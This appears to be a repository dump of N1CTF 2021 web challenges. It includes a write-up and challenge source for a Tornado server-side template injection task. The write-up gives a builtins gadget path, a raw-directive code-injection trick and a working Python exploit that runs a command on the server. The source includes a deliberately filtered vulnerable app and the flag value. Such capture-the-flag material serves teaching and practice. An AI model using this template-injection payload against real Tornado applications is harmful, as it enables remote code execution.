"; 41 | $res = shell_exec($cmd); 42 | } else { 43 | die("error~"); 44 | } 45 | 46 | if (strpos($res, $_SESSION["uuid"]) !== false) { 47 | echo $res; 48 | } else { 49 | echo "you cannot get the result~"; 50 | } -------------------------------------------------------------------------------- /Web/signin/wp.md: -------------------------------------------------------------------------------- 1 | bypass date 2 | ``` 3 | ➜ ~ php -a 4 | Interactive shell 5 | 6 | php > echo date('\/\f\l\a\g'); 7 | /flag 8 | php > 9 | ``` 10 | -------------------------------------------------------------------------------- /Web/tornado/README.md: -------------------------------------------------------------------------------- 1 | ## tornado 2 | 3 | ### TLDR 4 | There are two key points you need to get through in this challenge. The first is finding the `builtins` object or gadget which can let you exec some code. The second is using feature in template rendering engine to invoke a function. 5 | 6 | ### Find the gadget 7 | 8 | Unlike the jinja2, tornado's template engine doesn't support built-in methods like 'attr' which can make us bypass the filter by splicing string. But it exposes an object called `handler`. This object contains a lot of properties and methods. And if we run a DFS algorithm on this object, then we can find a dict object which refers to `builtins`. And this object's path is `handler.request.server_connection._serving_future._coro.cr_frame.f_builtins`. 9 | 10 | ``` 11 | {{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']}} 12 | >>> 13 | ``` 14 | 15 | Now, we get the function eval. 16 | 17 | **Another Way** 18 | 19 | By reading the source code of tornado, we can find a function called `import_object`, which can get an object from a module. It is much helpful in our circumstances. 20 | 21 | ```python 22 | # tornado/util.py#131 23 | def import_object(name: str) -> Any: 24 | """Imports an object by name. 25 | 26 | ``import_object('x')`` is equivalent to ``import x``. 27 | ``import_object('x.y.z')`` is equivalent to ``from x.y import z``. 28 | 29 | """ 30 | if name.count(".") == 0: 31 | return __import__(name) 32 | 33 | parts = name.split(".") 34 | obj = __import__(".".join(parts[:-1]), fromlist=[parts[-1]]) 35 | try: 36 | return getattr(obj, parts[-1]) 37 | except AttributeError: 38 | raise ImportError("No module named %s" % parts[-1]) 39 | ``` 40 | 41 | And this function called by rule class constructor 42 | 43 | ```python 44 | # tornado/routing.py#441 45 | class Rule(object): 46 | """A routing rule.""" 47 | 48 | def __init__( 49 | self, 50 | matcher: "Matcher", 51 | target: Any, 52 | target_kwargs: Optional[Dict[str, Any]] = None, 53 | name: Optional[str] = None, 54 | ) -> None: 55 | if isinstance(target, str): 56 | target = import_object(target) 57 | 58 | self.matcher = matcher 59 | self.target = target 60 | self.target_kwargs = target_kwargs if target_kwargs else {} 61 | self.name = name 62 | ``` 63 | ```python 64 | # tornado/routing.py#334 65 | def add_rules(self, rules: _RuleList) -> None: 66 | for rule in rules: 67 | if isinstance(rule, (tuple, list)): 68 | assert len(rule) in (2, 3, 4) 69 | if isinstance(rule[0], basestring_type): 70 | rule = Rule(PathMatches(rule[0]), *rule[1:]) 71 | else: 72 | rule = Rule(*rule) 73 | 74 | self.rules.append(self.process_rule(rule)) 75 | ``` 76 | 77 | If we call the `handler.application.default_router.add_rules`,it will make a new Rule object, and invoke `import_object`. 78 | 79 | ## Invoke a function 80 | 81 | invoke a function without `()` is very hard in python. Can we do this in tornado's template? The answer is YES. 82 | 83 | If we observe the template engine output(template.py#320), we can find it just converts the template to python code and run with it. There is a template directive named `raw`, it may break the original python code struct and play some trick on it. 84 | 85 | Submit this payload. 86 | ``` 87 | data={% raw 'a' 88 | _tt_tmp = 'b'%} 89 | ``` 90 | The template engine generates python code like this. 91 | ```python 92 | def _tt_execute(): 93 | _tt_buffer = [] 94 | _tt_append = _tt_buffer.append 95 | _tt_tmp = 'a' 96 | _tt_tmp = 'b' # we inserted 97 | if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) 98 | else: _tt_tmp = _tt_utf8(str(_tt_tmp)) 99 | _tt_append(_tt_tmp) 100 | return _tt_utf8('').join(_tt_buffer) 101 | ``` 102 | And the final output is `b`. 103 | 104 | Then submit payload like this. 105 | ``` 106 | data={% raw "'1'" 107 | _tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'%2b'al']%}{% raw 1 108 | _tt_utf8 = lambda x:x 109 | %} 110 | ``` 111 | which converts to. 112 | ```python 113 | def _tt_execute(): 114 | _tt_buffer = [] 115 | _tt_append = _tt_buffer.append 116 | _tt_tmp = "'1'" 117 | _tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al'] # _tt_utf8 becomes to eval 118 | if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) # invoke eval 119 | else: _tt_tmp = _tt_utf8(str(_tt_tmp)) 120 | _tt_append(_tt_tmp) 121 | _tt_tmp = 1 122 | _tt_utf8 = lambda x:x # make the _tt_execute happy 123 | if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) 124 | else: _tt_tmp = _tt_utf8(str(_tt_tmp)) 125 | _tt_append(_tt_tmp) 126 | return _tt_utf8('').join(_tt_buffer) 127 | ``` 128 | The output is `1`. 129 | 130 | ## EXP 131 | ```python 132 | import requests 133 | 134 | payload="""{{% raw "{}" 135 | _tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']%}}{{% raw 1 136 | _tt_utf8 = lambda x:x 137 | %}} 138 | """.format(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('/readflag').read()"])) 139 | 140 | res = requests.post("http://127.0.0.1:5000/",data={'data':payload}) 141 | print(res.text) 142 | ``` -------------------------------------------------------------------------------- /Web/tornado/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.7-slim 2 | 3 | COPY ./app /app 4 | COPY ./readflag /readflag 5 | 6 | RUN pip install -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple/ tornado \ 7 | && useradd ctf \ 8 | && chown -R ctf /app/uploads \ 9 | && echo 'n1ctf{t0rn4d0_decim4tes_tr4iler_p4rk}' > /flag \ 10 | && chmod 400 /flag \ 11 | && chmod u+s /readflag 12 | 13 | USER ctf 14 | WORKDIR /app 15 | ENTRYPOINT ["python3", "app.py"] 16 | -------------------------------------------------------------------------------- /Web/tornado/source/app/app.py: -------------------------------------------------------------------------------- 1 | import tornado.ioloop 2 | import tornado.web 3 | import builtins 4 | import unicodedata 5 | import uuid 6 | import os 7 | import re 8 | 9 | def filter(data): 10 | data = unicodedata.normalize('NFKD',data) 11 | if len(data) > 1024: 12 | return False 13 | if re.search(r'__|\(|\)|datetime|sys|import',data): 14 | return False 15 | for k in builtins.__dict__.keys(): 16 | if k in data: 17 | return False 18 | return True 19 | 20 | class IndexHandler(tornado.web.RequestHandler): 21 | def get(self): 22 | self.render("templates/index.html",) 23 | def post(self): 24 | data = self.get_argument("data") 25 | if not filter(data): 26 | self.finish("no no no") 27 | else: 28 | id = uuid.uuid4() 29 | f = open(f"uploads/{id}.html",'w') 30 | f.write(data) 31 | f.close() 32 | try: 33 | self.render(f"uploads/{id}.html",) 34 | except: 35 | self.finish("error") 36 | os.unlink(f"uploads/{id}.html") 37 | 38 | def make_app(): 39 | return tornado.web.Application([ 40 | (r"/", IndexHandler), 41 | ],compiled_template_cache=False) 42 | 43 | if __name__ == "__main__": 44 | app = make_app() 45 | app.listen(8888) 46 | tornado.ioloop.IOLoop.current().start() 47 | -------------------------------------------------------------------------------- /Web/tornado/source/app/templates/index.html: -------------------------------------------------------------------------------- 1 | hello :) 2 | -------------------------------------------------------------------------------- /Web/tornado/source/readflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Web/tornado/source/readflag --------------------------------------------------------------------------------